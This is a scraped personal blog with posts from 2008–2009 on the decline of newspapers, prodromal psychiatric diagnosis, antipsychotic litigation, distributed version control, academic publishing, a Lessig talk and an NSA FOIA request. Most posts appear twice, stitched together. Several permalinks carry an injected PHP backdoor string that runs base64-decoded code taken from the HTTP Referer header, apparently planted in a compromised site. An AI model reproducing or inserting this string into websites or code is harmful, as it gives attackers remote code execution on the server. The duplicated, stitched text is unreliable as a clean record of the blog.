It's been almost 2 months since I participated in the intense and spectacular conference/discussion/seminar on the Changing Dynamics of Public Controversies (CDPC). Since then, numerous municipal dailies have declared bankruptcy, and the question of the future of journalism has gone mainstream - with urgency. (four print-media-collapse stories on the front page of yesterday's business section of the nytimes!).
Here are a few of the better analyses that have been buzzing around inside the halls of the Columbia J-School:
A New era of corruption? Yochai Benkler responds to Starr's nostalgia for the old days in a debate that seems to have kicked off at the CDPC conference.
Newspapers and the Unthinkable Clay Shirky does as great job of explaining the uncertainty in the midst of a revolution.
2020 Vision: What's next for News And this piece offers a very concise and intelligent take on the future (for those that survive). I think he is onto something w/ the Semantic Web - Four of the SemWeb NYC meetups this spring have been at media companies (NYTimes, Dow Jones, ThomsonReuters, Hearst Corp), and the strategy shared at the OpenCalias presentation the has confirmed much of this outiline.
So, Why teach journalism if newspapers are dying? One of our Deans has a plan to revamp the curriculum and Keep J-School Relevant, but it hasn't gained much traction yet. :-(
And, while we're on the topic of the Academy, are their institutions next? Maybe not, but the printed scholarly monograph is certainly on the chopping block.
I keep coming back to the generatives described in Kevin Kelly's Better than Free (skip the giddy utopic intro):
These eight qualities require a new skill set. Success in the free-copy world is not derived from the skills of distribution since the Great Copy Machine in the Sky takes care of that. Nor are legal skills surrounding Intellectual Property and Copyright very useful anymore. Nor are the skills of hoarding and scarcity. Rather, these new eight generatives demand an understanding of how abundance breeds a sharing mindset, how generosity is a business model, how vital it has become to cultivate and nurture qualities that can't be replicated with a click of the mouse.
Could this be the perspective needed to recalibrate the profit compass and find the Sasquatch of sustainability?
http://alchemicalmusings.org/2009/04/14/semantic-connections/
It's been almost 2 months since I participated in the intense and spectacular conference/discussion/seminar on the Changing Dynamics of Public Controversies (CDPC). Since then, numerous municipal dailies have declared bankruptcy, and the question of the future of journalism has gone mainstream - with urgency.
A New era of corruption?
Newspapers and the Unthinkable
2020 Vision: What's next for News
Why teach journalism if newspapers are dying?
Keeping J-School Relevant
http://rasmuskleisnielsen.net/2009/03/19/gardens-with-or-without-walls-some-thoughts-on-opencalais/
(NYTimes, Dow Jones, ThomsonReuters, Hearst Corp)
Better than Free
These eight qualities require a new skill set. Success in the free-copy world is not derived from the skills of distribution since the Great Copy Machine in the Sky takes care of that. Nor are legal skills surrounding Intellectual Property and Copyright very useful anymore. Nor are the skills of hoarding and scarcity. Rather, these new eight generatives demand an understanding of how abundance breeds a sharing mindset, how generosity is a business model, how vital it has become to cultivate and nurture qualities that can't be replicated with a click of the mouse.
Are the institutions of academia next? Its already catching up with http://www.insidehighered.com/news/2009/03/23/michigan
http://alchemicalmusings.org/?p=282
A recent post at Furious Seasons on the spooky future of psychiatry prompted me to dig a little deeper into the origins of prodromal diagnoses.
A prodrome is “a symptom or group of symptoms that appears shortly before an acute attack of illness. The term comes from a Greek word that means "running ahead of."” A spooky emerging trend in clinical psychiatry is the appropriation of this concept under the paradigm of “early intervention in psychosis” for “at risk” patients. Psychiatrists are preventively diagnosing mental illness and treating people prior to them exhibiting any behavioral symptoms.
Earlier diagnosis and early intervention. The past decade has witnessed a surge of progress in identifying individuals at high risk for psychosis or mood disorders. The “prodrome” has become a fertile area of research, with a focus on early “treatment” even before the clinical syndrome of schizophrenia or mania appears. The goal is to try to delay, modify, or ameliorate incipient serious mental illness by using both pharmacotherapy and psychotherapy.("Psychiatry’s Future is Here")
Instinctively, preventative health care seems like a good thing. Western medicine is often criticized for primarily responding to acute crises, instead of proactively promoting health and well-being. However, the reductionist flattening of minds into brains leads to categorical errors which pervert the Hippocratic principle to “do no harm”. Applying the medical paradigm of treating risks (instead of disorders) to mental conditions stretches the dangerously elastic diagnostic net beyond the breaking point.
Analogies between mental conditions and diseases of the body, such as the measles or heart failure, are often the point of departure for proponents of prodromal treatment. However, this rhetorical sleight of hand disguises many relevant disanalogies. The pathologization of diverse mental states remains controversial, unlike life threatening viruses or organ failures. Furthermore, there is currently no casual theory explaining why some people's psychological experiences degenerate into crisis. Arguably, there can never be such a theory until we make significant progress towards resolving the mind/body problem, (a.k.a. the “hard problem” of consciousness). Without a causal theory explaining the transitions between mental states, all prodromal diagnoses of mental conditions are necessarily speculative correlations.
The roots of prodromal diagnosis of mental conditions can be traced back to work on the prodromal identification of schizophrenia.
What is needed is not the early diagnosis of schizophrenia, but the diagnosis of pre-psychotic schizophrenia. We must learn to recognize that state of mind which will develop into schizophrenia unless appropriate measures are taken to prevent deterioration.[*]
However, the identification of reliable predictors of schizophrenia has proven to be notoriously difficult and conceptually slippery:
Identifying symptoms or signs that reliably predict onset would obviously aid attempts to prevent mental disorders. Such specific predictors do not currently exist. In fact, one could argue that if any such risk factors were identified they would be conceptualized as early phenomena of the disorder itself... The nonspecific nature of these common features is notable. [*]
The Diganostic Statistical Manual is the psychiatric bible, effectively the working definition of insanity. The clinical gaze embodied in its pages is rooted in behaviorism – the symptoms it defines are all observable behaviors. The trend towards prodromal mental diagnoses is frightening precisely because it cedes even more power to an already cold and inhumane apparatus, which fails to listen to the voices of the people it claims to treat. The risks of preemptive discipline and prescriptive moral judgment reek of eugenics, and are simply too great and horrifying for this practice to continue. Patients are being indicted on the basis of hereditary factors, thought crimes, and innocuous deviant behavior.
Furthermore, the psychopharmacological treatments prescribed for these prodromal diagnoses are physically dangerous and psychologically damaging. The atypical anti-psychotics that are often prescribed in these circumstances have been linked to excessive weight gain, metabolic disorders, and diabetes. The stigma attached to these diagnoses is also emotionally threatening. Advertising campaigns such as the award winning “Prescribe Early” poster have heightened the pressure to preventively prescribe dangerous medication, before it is too late. Children and teens often traverse defiant emotional terrain on their journey of self-discovery and becoming. Adult disapproval towards behaviors (smoking, drinking, inappropriateness, and irritability) and appearances (fashion, body piercings, hair style) has increasingly taken the form of chemical discipline,[*] with psychiatry's permission and blessing.
That future of psychiatry is quite disturbed. Prodromal treatment is the latest progression in an ever constricting system of control. Preventative psychiatric treatment hints at forms of control that resonate with fears of omniscient surveillance, and we can begin to glimpse how grotesque these practices will become in an era of electronic medical records. Pathologizing the neurologically diverse is bad enough. Extending this attitude (and treatment) to those at risk of being neurologically diverse is downright evil.
http://alchemicalmusings.org/2009/03/30/pathological_soothsayers/
A recent post at Furious Seasons on the spooky future of psychiatry prompted me to dig a little deeper into the origins of prodromal diagnoses.
A prodrome is “a symptom or group of symptoms that appears shortly before an acute attack of illness. The term comes from a Greek word that means "running ahead of."” A spooky emerging trend in clinical psychiatry is the appropriation of this concept under the paradigm of “early intervention in psychosis” for “at risk” patients. Psychiatrists are preventively diagnosing mental illness and treating people prior to them exhibiting any behavioral symptoms.
Earlier diagnosis and early intervention. The past decade has witnessed a surge of progress in identifying individuals at high risk for psychosis or mood disorders. The “prodrome” has become a fertile area of research, with a focus on early “treatment” even before the clinical syndrome of schizophrenia or mania appears. The goal is to try to delay, modify, or ameliorate incipient serious mental illness by using both pharmacotherapy and psychotherapy.("Psychiatry’s Future is Here")
Instinctively, preventative health care seems like a good thing. Western medicine is often criticized for primarily responding to acute crises, instead of proactively promoting health and well-being. However, the reductionist flattening of minds into brains leads to categorical errors which pervert the Hippocratic principle to “do no harm”. Applying the medical paradigm of treating risks (instead of disorders) to mental conditions stretches the dangerously elastic diagnostic net beyond the breaking point.
Analogies between mental conditions and diseases of the body, such as the measles or heart failure, are often the point of departure for proponents of prodromal treatment. However, this rhetorical sleight of hand disguises many relevant disanalogies. The pathologization of diverse mental states remains controversial, unlike life threatening viruses or organ failures. Furthermore, there is currently no casual theory explaining why some people's psychological experiences degenerate into crisis. Arguably, there can never be such a theory until we make significant progress towards resolving the mind/body problem, (a.k.a. the “hard problem” of consciousness). Without a causal theory explaining the transitions between mental states, all prodromal diagnoses of mental conditions are necessarily speculative correlations.
The roots of prodromal diagnosis of mental conditions can be traced back to work on the prodromal identification of schizophrenia.
What is needed is not the early diagnosis of schizophrenia, but the diagnosis of pre-psychotic schizophrenia. We must learn to recognize that state of mind which will develop into schizophrenia unless appropriate measures are taken to prevent deterioration.[*]
However, the identification of reliable predictors of schizophrenia has proven to be notoriously difficult and conceptually slippery:
Identifying symptoms or signs that reliably predict onset would obviously aid attempts to prevent mental disorders. Such specific predictors do not currently exist. In fact, one could argue that if any such risk factors were identified they would be conceptualized as early phenomena of the disorder itself... The nonspecific nature of these common features is notable. [*]
The Diganostic Statistical Manual is the psychiatric bible, effectively the working definition of insanity. The clinical gaze embodied in its pages is rooted in behaviorism – the symptoms it defines are all observable behaviors. The trend towards prodromal mental diagnoses is frightening precisely because it cedes even more power to an already cold and inhumane apparatus, which fails to listen to the voices of the people it claims to treat. The risks of preemptive discipline and prescriptive moral judgment reek of rhymes with eugenics, and are simply too great and horrifying for this practice to continue. Patients are being indicted on the basis of hereditary factors, thought crimes, and innocuous deviant behavior.
Furthermore, the psychopharmacological treatments prescribed for these prodromal diagnoses are physically dangerous and psychologically damaging. The atypical anti-psychotics that are often prescribed in these circumstances have been linked to excessive weight gain, metabolic disorders, and diabetes. The stigma attached to these diagnoses is also emotionally threatening. Advertising campaigns such as the award winning “Prescribe Early” poster have heightened the pressure to preventively prescribe dangerous medication, before it is too late. Children and teens often traverse defiant emotional terrain on their journey of self-discovery and becoming. Adult disapproval towards behaviors (smoking, drinking, inappropriateness, and irritability) and appearances (fashion, body piercings, hair style) has increasingly taken the form of chemical discipline,[*] with psychiatry's permission and blessing.
That future of psychiatry is quite disturbed. Prodromal treatment is the latest progression in an ever constricting system of control. Preventative psychiatric treatment hints at forms of control that resonate with fears of omniscient surveillance, and we can begin to glimpse how grotesque these practices will become in an era of electronic medical records. Pathologizing the neurologically diverse is bad enough. Extending this attitude (and treatment) to those at risk of being neurologically diverse is downright evil.
http://alchemicalmusings.org/2009/03/30/pathological_soothsayers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
As I've claimed previously, Big Pharma's crimes and cover-ups will soon make Big Tobacco's scandals look like jaywalking.
AstraZeneca's Seroquel trial began last week, and the industry's criminal antics surrounding anti-psychotics are coming into better focus. Documents introduced as evidence are confirming that, like Eli Lilly with Zyprexa(Kills), AstraZeneca knowingly downplayed the fatal side-effects of their toxic pills. They covered up the fact that Seroquel causes diabetes and massive weight gain, and have been gaming the drug approval process to expand the diagnostic reach of their drugs.
In a move which hits new lows, even for Pharma, documents introduced into evidence reveal sex scandals and conflicts of interest in the approval of Seroquel for treating depression, the burying of unfavourable studies, and deeper insight into the pathological cognitive dissonance underlying Pharma's logic. Get 'em while they're hot!
43_Exhibit 15.pdf
There may be a rationale to explain why acutely psychotic patients may gain weight in the short term, following effective therapy. The relief of negative symptoms, apathy, etc, disorganized thinking, may result in return to normal activities like having regular meals.
I see. Blame the weight gain on the crazy people. Gotta love it. I am reminded of the current economic situation, where corporations privatize the profits and socialize the risks/loses. All the good is caused by the drugs, the patients/victims take all responsibility and blame for the bad.
Meanwhile, this week yielded a few more alternate hypotheses on behavioural issues in children:
Are Bad Sleeping Habbits Driving us Mad?
The 3 R’s? A Fourth Is Crucial, Too: Recess
adding to the growing list (nutritional issues, boredom, and increased stress) of plausible explanations for children's irritability, restlessness, and erratic behaviour.
I thought the scientific method was supposed to be about systematically exploring causal possibility spaces, and iteratively refining our narrative understanding based on critical observation. Pharma's scientists have seriously lost their way. They have betrayed the sceptical stance at the foundation of scientific knowledge production.
That's some abstract, theoretical jargon, but the threat here is quite concrete and real. Just ask these horrifically abused elderly patients. People who have never manifested psychotic symptoms are no longer safe!
That future of psychiatry is quite disturbed. They might actually beat
omniscient surveillance to the punch on absolute control over the populace. But heaven help us if/when Big Brother forges an alliance with Big Pharma.
http://alchemicalmusings.org/2009/03/02/disorganized-thinking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
As I've claimed previously, Big Pharma's crimes and cover-ups will soon make Big Tobacco's scandals look like jaywalking.
AstraZeneca's Seroquel trial began last week, and the industry's criminal antics surrounding anti-psychotics are coming into better focus. Documents introduced as evidence are confirming that, like Eli Lilly with Zyprexa(Kills), AstraZeneca knowingly downplayed the fatal side-effects of their toxic pills. They covered up the fact that Seroquel causes diabetes and massive weight gain, and have been gaming the drug approval process to expand the diagnostic reach of their drugs.
In a move which hits new lows, even for Pharma, documents introduced into evidence reveal sex scandals and conflicts of interest in the approval of Seroquel for treating depression, the burying of unfavourable studies, and deeper insight into the pathological cognitive dissonance underlying Pharma's logic. Get 'em while they're hot!
43_Exhibit 15.pdf
There may be a rationale to explain why acutely psychotic patients may gain weight in the short term, following effective therapy. The relief of negative symptoms, apathy, etc, disorganized thinking, may result in return to normal activities like having regular meals.
I see. Blame the weight gain on the crazy people. Gotta love it. I am reminded of the current economic situation, where corporations privatize the profits and socialize the risks/loses. All the good is caused by the drugs, the patients/victims take all responsibility and blame for the bad.
Meanwhile, this week yielded a few more alternate hypotheses on behavioural issues in children:
Are Bad Sleeping Habbits Driving us Mad?
The 3 R’s? A Fourth Is Crucial, Too: Recess
adding to the growing list (nutritional issues, boredom, and increased stress) of plausible explanations for children's irritability, restlessness, and erratic behaviour.
I thought the scientific method was supposed to be about systematically exploring causal possibility spaces, and iteratively refining our narrative understanding based on critical observation. Pharma's scientists have seriously lost their way. They have betrayed the sceptical stance at the foundation of scientific knowledge production.
That's some abstract, theoretical jargon, but the threat here is quite concrete and real. Just ask these horrifically abused elderly patients. People who have never manifested psychotic symptoms are no longer safe!
That future of psychiatry is quite disturbed. They might actually beat
omniscient surveillance to the punch on absolute control over the populace. But heaven help us if/when Big Brother forges an alliance with Big Pharma.
http://alchemicalmusings.org/2009/03/02/disorganized-thinking/
There is a fascinating culture emerging around distributed version control systems (DVCS), facilitated by software, but responding to (and suggesting) shifts in collaboration styles. It is very easy to imagine these practices percolating through other areas of information production.
I am still a bit new to distributed versioning, but a primary difference between distributed versioning and traditional centralized versioning is how easy/hard it is for an outsider to contribute ideas/expressions/work back to the project. Part of what makes this all work smoothly are very good tools to help merge disparate branches of work - it sounds chaotic and unmanageable, but so did concurrent version control when it first became popular (that is, allowing multiple people to check out the same file at the same time, instead of locking it for others while one person was working on it).
This post, Sharing Code, for What its Worth, does a great job explaining some of the advantages of distributed version control systems. Sometimes you just want to share/publish your work, not start a social movement. Sometimes you want to contribute back to a project w/out going through masonic hazing rituals. DVCS facilitates these interactions, far more easily than traditional centralized/hierarchical version control systems.
Wikipedia runs on a centralized version control system, but the Linux Kernel is developed on DVCS (as Linus Trovalds explains/insists himself here). We are just starting to use github at work, and I have watched it increase the joy of sharing - reducing the disciplined overhead of perfecting software for an imagined speculative use and coordinating networks of trusted contributors. The practice really emphasizes the efficient laziness of agile programming, and helps you concentrate on what you need now, not what you think you might need later.
In some ways, this style of collaboration is more free-loving than an anonymously editable wiki, since all versions of the code can simultaneously exist - almost in a state of superposition. However, there is a hidden accumulation of technical debt that accrues the longer you put of combining different branches of work. And, sometimes you may actually want to start a community or social movement around your software, which is still possible, but is now decoupled and needs to be managed carefully.
I think we can start to see hints of this approach breaking free from the software development world in this recent piece of intention-ware described in Crowdsourcing the Filter. (I met some of the Ushahidi team earlier this year - -and was impressed by how competent and grounded they seemed - tempering both the hype and nostalgia). As Benkler has argued, ranking and filtering is itself just another information good, and amenable to peer production, but the best ways of organizing and coordinating - distributing and then reassebling - this production, still need to be worked out.
http://alchemicalmusings.org/2009/02/26/herding-anarchists/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
There is a fascinating culture emerging around distributed version control systems (DVCS), facilitated by software, but responding to (and suggesting) shifts in collaboration styles. It is very easy to imagine these practices percolating through other areas of information production.
I am still a bit new to distributed versioning, but a primary difference between distributed versioning and traditional centralized versioning is how easy/hard it is for an outsider to contribute ideas/expressions/work back to the project. Part of what makes this all work smoothly are very good tools to help merge disparate branches of work - it sounds chaotic and unmanageable, but so did concurrent version control when it first became popular (that is, allowing multiple people to check out the same file at the same time, instead of locking it for others while one person was working on it).
This post, Sharing Code, for What its Worth, does a great job explaining some of the advantages of distributed version control systems. Sometimes you just want to share/publish your work, not start a social movement. Sometimes you want to contribute back to a project w/out going through masonic hazing rituals. DVCS facilitates these interactions, far more easily than traditional centralized/hierarchical version control systems.
Wikipedia runs on a centralized version control system, but the Linux Kernel is developed on DVCS (as Linus Trovalds explains/insists himself here). We are just starting to use github at work, and I have watched it increase the joy of sharing - reducing the disciplined overhead of perfecting software for an imagined speculative use and coordinating networks of trusted contributors. The practice really emphasizes the efficient laziness of agile programming, and helps you concentrate on what you need now, not what you think you might need later.
In some ways, this style of collaboration is more free-loving than an anonymously editable wiki, since all versions of the code can simultaneously exist - almost in a state of superposition. However, there is a hidden accumulation of technical debt that accrues the longer you put of combining different branches of work. And, sometimes you may actually want to start a community or social movement around your software, which is still possible, but is now decoupled and needs to be managed carefully.
I think we can start to see hints of this approach breaking free from the software development world in this recent piece of intention-ware described in Crowdsourcing the Filter. (I met some of the Ushahidi team earlier this year - -and was impressed by how competent and grounded they seemed - tempering both the hype and nostalgia). As Benkler has argued, ranking and filtering is itself just another information good, and amenable to peer production, but the best ways of organizing and coordinating - distributing and then reassebling - this production, still need to be worked out.
http://alchemicalmusings.org/2009/02/26/herding-anarchists/
6 credits and another season later, I have two more essays to show for the time indentured to my phd program. One of these years I might even save up enough flakes for a snow bank.
I had fun with this one, which I wrote for a class on the History of the Theory of Architecture - the assignment was to analyze a piece of architectural theory, so naturally I chose an information architect...
Possibility Spaces: Architecture and the Builders of Information Societies
This other paper was for my seminar with Michael Schudson on Transparency and Democracy. It packages up some thinking I have been doing for a while on the politics of memory, surveillance, and transparency, and opens up some serious ground for future research.
The End of Forgetting: Transparent Identities and Permanent Records
Next stop is a week in Vermont - off the grid (honestly, its almost off the map), but am already looking forward to next Spring's semester, kicking off with this conference on The Changing Dynamics of Public Controversies.
http://alchemicalmusings.org/2008/12/23/two-more-flakes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
6 credits and another season later, I have two more essays to show for the time indentured to my phd program. One of these years I might even save up enough flakes for a snow bank.
I had fun with this one, which I wrote for a class on the History of the Theory of Architecture - the assignment was to analyze a piece of architectural theory, so naturally I chose an information architect...
Possibility Spaces: Architecture and the Builders of Information Societies
This other paper was for my seminar with Michael Schudson on Transparency and Democracy. It packages up some thinking I have been doing for a while on the politics of memory, surveillance, and transparency, and opens up some serious ground for future research.
The End of Forgetting: Transparent Identities and Permanent Records
Next stop is a week in Vermont - off the grid (honestly, its almost off the map), but am already looking forward to next Spring's semester, kicking off with this conference on The Changing Dynamics of Public Controversies.
http://alchemicalmusings.org/2008/12/23/two-more-flakes/
At long last! Wiki Writing: Collaborative Learning in the College Classroom has finally been published. An anthology of peer-reviewed essays on teaching and learning with wikis, the first two chapters in the book are written by myself, my coworkers, and my friends. Mark Phillipson contributed "Wikis in the Classroom: A Taxonomy," and Myself, John Frankfurt, and Alex Gail Shermansong teamed up with Professor Robin Kelley, our faculty partner on the Social Justice Wiki, to write "Wiki Justice, Social Ergonomics, and Ethical Collaborations.”
Over 3 years since the Call For Papers, and a long and arduous review process, the hard copy of this book is now available for purchase from the University of Michigan Press and at Amazon, and will soon be available to explore free of charge at the Digital Culture Books website. It think they may have grown the trees before killing them for the paper.
The half-life of the subject matter certainly warranted a more rapid turnaround, but I guess that's the sound of dying media letting out its last wheeze. I am also disappointed that the hard copy managed to publish the wrong, older version of my diagram. So, for my first erratum, here is the figure that should have been printed: Social Software Value Space.
Gripe, gripe, gripe. Actually, I am thrilled this came together, and think the book looks great and will stand the test of time. I'm also happy the digital version of the book will be available for free, though I am not certain the book made it out under a Creative Commons license. A huge thanks to our editors (Robert E. Cummings and Matt Barton, whom I have yet to meet in person) for persevering and making this happen.
http://alchemicalmusings.org/2008/12/17/hot-off-the-collaborative-digital-press/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
At long last! Wiki Writing: Collaborative Learning in the College Classroom has finally been published. An anthology of peer-reviewed essays on teaching and learning with wikis, the first two chapters in the book are written by myself, my coworkers, and my friends. Mark Phillipson contributed "Wikis in the Classroom: A Taxonomy," and Myself, John Frankfurt, and Alex Gail Shermansong teamed up with Professor Robin Kelley, our faculty partner on the Social Justice Wiki, to write "Wiki Justice, Social Ergonomics, and Ethical Collaborations.”
Over 3 years since the Call For Papers, and a long and arduous review process, the hard copy of this book is now available for purchase from the University of Michigan Press and at Amazon, and will soon be available to explore free of charge at the Digital Culture Books website. It think they may have grown the trees before killing them for the paper.
The half-life of the subject matter certainly warranted a more rapid turnaround, but I guess that's the sound of dying media letting out its last wheeze. I am also disappointed that the hard copy managed to publish the wrong, older version of my diagram. So, for my first erratum, here is the figure that should have been printed: Social Software Value Space.
Gripe, gripe, gripe. Actually, I am thrilled this came together, and think the book looks great and will stand the test of time. I'm also happy the digital version of the book will be available for free, though I am not certain the book made it out under a Creative Commons license. A huge thanks to our editors (Robert E. Cummings and Matt Barton, whom I have yet to meet in person) for persevering and making this happen.
http://alchemicalmusings.org/2008/12/17/hot-off-the-collaborative-digital-press/
Economies, not cars.
Last night I saw Larry Lessig present "Remix: Making Art and Commerce Thrive in the Hybrid Economy" as a part of Evan Korth's amazing Computers and Society speaker series. The talk was an improved iteration on the talk I saw him present at Wikimania '06, but it was much tighter - concentrated, but not too dense. He included a few new examples and anecdotes, collapsed earlier presentations into compact sub-segments, and has incorporated Benkler's hybrid economies (articulated in The Wealth of Networks) into the Read-Only->Read/Write->Hybrid progression.
It really is a pleasure listening to a world-class orator (he has argued cases in front of the supreme court) deliver an argument, and I was trying to pay attention to his rhetorical style, and the ways he has honed the structure of his argument over time.
First, a small bone - For a while, Lessig has been making a bold and provocative assertion that text has become the Latin of our time, and audio and video are the vulgar. Arguments over the correctness of tense aside, I sure wish he would start using the word 'vernacular' instead of 'vulgar'. 'Vulgar' makes the argument sound, well, a bit elitist to me, and when I repeat this claim, I remix it to 'vernacular'.
More important than quibbling over this choice of words I was a little thrown off by the direction that Lessig wants to take IP reform. Last night he spent a bit of time outlining a scheme that hinges on the analytic distinction between professionals and amateurs. I think he may have been trying to appeal to an intuitive sense of fairness, or perhaps pragmatics, over how professional creators work might be protected by IP while amateurs should be free to create w/out regulation or restriction.
I thought it was downright odd that in one breath he was persuading us that we live in a hybrid world, and in the next trying to maintain the line between amateurs and professionals. The line between professionals and amateurs is clearly blurring, as the difficulties in applying shield laws to journalists attests. Nowadays, who exactly is The Press, whose freedoms may never be abridged according to the First Amendment? I am really unclear about the definition of a creative professional in a hybrid economy. Would we need to introduce licenses to certify creative professionals? Even in the example of the baby video with Prince music playing in the background, would the situation change if the mother was making money off of google ad-words aside the video?
To me, if you take Benkler's argument to heart, in a networked world many everyday interactions will be commodified, and favors will turn into transactions. We'll all become some hybrid of amateur and professional. This doesn't sound all good to me, as I am not sure I want to live in a world where everything has an exchange value... This paper by Nigel Thrift, Re-inventing invention: new tendencies in capitalist commodification, paints a grimmer picture than Benkler does about the sophisticated ways that knowledge workers are being exploited in the hybrid world we are hurtling towards.
http://alchemicalmusings.org/2008/11/11/the-year-of-the-hybrid/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Economies, not cars.
Last night I saw Larry Lessig present "Remix: Making Art and Commerce Thrive in the Hybrid Economy" as a part of Evan Korth's amazing Computers and Society speaker series. The talk was an improved iteration on the talk I saw him present at Wikimania '06, but it was much tighter - concentrated, but not too dense. He included a few new examples and anecdotes, collapsed earlier presentations into compact sub-segments, and has incorporated Benkler's hybrid economies (articulated in The Wealth of Networks) into the Read-Only->Read/Write->Hybrid progression.
It really is a pleasure listening to a world-class orator (he has argued cases in front of the supreme court) deliver an argument, and I was trying to pay attention to his rhetorical style, and the ways he has honed the structure of his argument over time.
First, a small bone - For a while, Lessig has been making a bold and provocative assertion that text has become the Latin of our time, and audio and video are the vulgar. Arguments over the correctness of tense aside, I sure wish he would start using the word 'vernacular' instead of 'vulgar'. 'Vulgar' makes the argument sound, well, a bit elitist to me, and when I repeat this claim, I remix it to 'vernacular'.
More important than quibbling over this choice of words I was a little thrown off by the direction that Lessig wants to take IP reform. Last night he spent a bit of time outlining a scheme that hinges on the analytic distinction between professionals and amateurs. I think he may have been trying to appeal to an intuitive sense of fairness, or perhaps pragmatics, over how professional creators work might be protected by IP while amateurs should be free to create w/out regulation or restriction.
I thought it was downright odd that in one breath he was persuading us that we live in a hybrid world, and in the next trying to maintain the line between amateurs and professionals. The line between professionals and amateurs is clearly blurring, as the difficulties in applying shield laws to journalists attests. Nowadays, who exactly is The Press, whose freedoms may never be abridged according to the First Amendment? I am really unclear about the definition of a creative professional in a hybrid economy. Would we need to introduce licenses to certify creative professionals? Even in the example of the baby video with Prince music playing in the background, would the situation change if the mother was making money off of google ad-words aside the video?
To me, if you take Benkler's argument to heart, in a networked world many everyday interactions will be commodified, and favors will turn into transactions. We'll all become some hybrid of amateur and professional. This doesn't sound all good to me, as I am not sure I want to live in a world where everything has an exchange value... This paper by Nigel Thrift, Re-inventing invention: new tendencies in capitalist commodification, paints a grimmer picture than Benkler does about the sophisticated ways that knowledge workers are being exploited in the hybrid world we are hurtling towards.
http://alchemicalmusings.org/2008/11/11/the-year-of-the-hybrid/
This Fall I am taking a great class on Transparency & Democracy (syllabus) taught by Prof. Michael Schudson. We are talking about the history of the Freedom of Information Act (FOIA), and trying to puzzle out what sorts of cultural forces accounted for an indisputable rise in transparency and openness in American society. We are taking a fascinating journey through the history of social movements in the 60s and 70s and reading about the Free Speech movement, SDS, the feminist movement, the gay liberation movement, and tabloid talk shows.
This summer I had also heard a great presentation by Phil Lapsley at the Last HOPE conference on The Hackers View of FOIA. I learned a great deal of practical information about how to properly file a FOIA request, a few fun FOIA hacks (hint: an agency's FOIA logs are FOIA'able), and about www.getmyfbifile.com (the NSA has their own easy to use FOIA form). The main value of Get My FBI file are the office addresses it contains. Although requesting your intelligence files may put an end to any of your delusions that you were important enough to have a file about you, I decided to take the plunge. In my case, I imagined I might not have the security clearance to see my own file - I'm one of those "disposable spooks" whose very existence will always be fervently denied.
As it turned out, my ego didn't even get brushed, never mind bruised. The NSA has now officially responded that they can "neither confirm nor deny" any intelligence records. In fact, I think I received a boilerplate response letter, which sure makes it sound like the NSA is engaged in widespread domestic spying. So, judge for yourselves and get involved and support the EFF! The spirit of FOIA wants information to be free - Does the NSA answer to anyone for any of its activities anymore?
You may aware that the NSA/CSS targets unspecified persons or entities involved in terrorism as part of the nation's efforts to prevent and protect against terrorist attacks. However, because of the classified nature of the National Security Agency's efforts, we can neither confirm nor deny whether intelligence records relating to you exist, or whether any specific technique method or activity is employed in those efforts.
[1][2]
http://alchemicalmusings.org/2008/10/23/domestically-spooked/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
This Fall I am taking a great class on Transparency & Democracy (syllabus) taught by Prof. Michael Schudson. We are talking about the history of the Freedom of Information Act (FOIA), and trying to puzzle out what sorts of cultural forces accounted for an indisputable rise in transparency and openness in American society. We are taking a fascinating journey through the history of social movements in the 60s and 70s and reading about the Free Speech movement, SDS, the feminist movement, the gay liberation movement, and tabloid talk shows.
This summer I had also heard a great presentation by Phil Lapsley at the Last HOPE conference on The Hackers View of FOIA. I learned a great deal of practical information about how to properly file a FOIA request, a few fun FOIA hacks (hint: an agency's FOIA logs are FOIA'able), and about www.getmyfbifile.com (the NSA has their own easy to use FOIA form). The main value of Get My FBI file are the office addresses it contains. Although requesting your intelligence files may put an end to any of your delusions that you were important enough to have a file about you, I decided to take the plunge. In my case, I imagined I might not have the security clearance to see my own file - I'm one of those "disposable spooks" whose very existence will always be fervently denied.
As it turned out, my ego didn't even get brushed, never mind bruised. The NSA has now officially responded that they can "neither confirm nor deny" any intelligence records. In fact, I think I received a boilerplate response letter, which sure makes it sound like the NSA is engaged in widespread domestic spying. So, judge for yourselves and get involved and support the EFF! The spirit of FOIA wants information to be free - Does the NSA answer to anyone for any of its activities anymore?
You may aware that the NSA/CSS targets unspecified persons or entities involved in terrorism as part of the nation's efforts to prevent and protect against terrorist attacks. However, because of the classified nature of the National Security Agency's efforts, we can neither confirm nor deny whether intelligence records relating to you exist, or whether any specific technique method or activity is employed in those efforts.
[1][2]
http://alchemicalmusings.org/2008/10/23/domestically-spooked/
It is virtually uncontested that the McCain campaign has attempted to divisively identify Obama as the Anti-Christ through a systematic campaign of allusions and coded associations. This innuendo was largely missed by people who don't believe in the literal reading of Revelations, but the sophisticated tactics make it unlikely the multitude of associations were coincidental. "The One" advertisement alludes to the cover art and even the title fonts of the popular "Left Behind" series, and there are numerous biblical associations as well.
But, what confuses me is that by the logic of fundamentalist Christianity, if Obama really were "The One", wouldn't they be obliged to vote for him to fulfil prophesy and usher in the rapture? Isn't this the logic behind the Christian right's support for Israel? Kinda reminds me of seating Jesus on a white donkey, but really, whatever it takes to bring about a change we can all believe in...
http://alchemicalmusings.org/2008/10/13/prophetic-fulfillment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
It is virtually uncontested that the McCain campaign has attempted to divisively identify Obama as the Anti-Christ through a systematic campaign of allusions and coded associations. This innuendo was largely missed by people who don't believe in the literal reading of Revelations, but the sophisticated tactics make it unlikely the multitude of associations were coincidental. "The One" advertisement alludes to the cover art and even the title fonts of the popular "Left Behind" series, and there are numerous biblical associations as well.
But, what confuses me is that by the logic of fundamentalist Christianity, if Obama really were "The One", wouldn't they be obliged to vote for him to fulfil prophesy and usher in the rapture? Isn't this the logic behind the Christian right's support for Israel? Kinda reminds me of seating Jesus on a white donkey, but really, whatever it takes to bring about a change we can all believe in...
http://alchemicalmusings.org/2008/10/13/prophetic-fulfillment/
No, this post isn't about the LHC creating black holes, time machines, or perpetual motion - its an update on my ~2 year old post on Free Energy - where I reflected on what the environmental movement might learn from the free software movement...
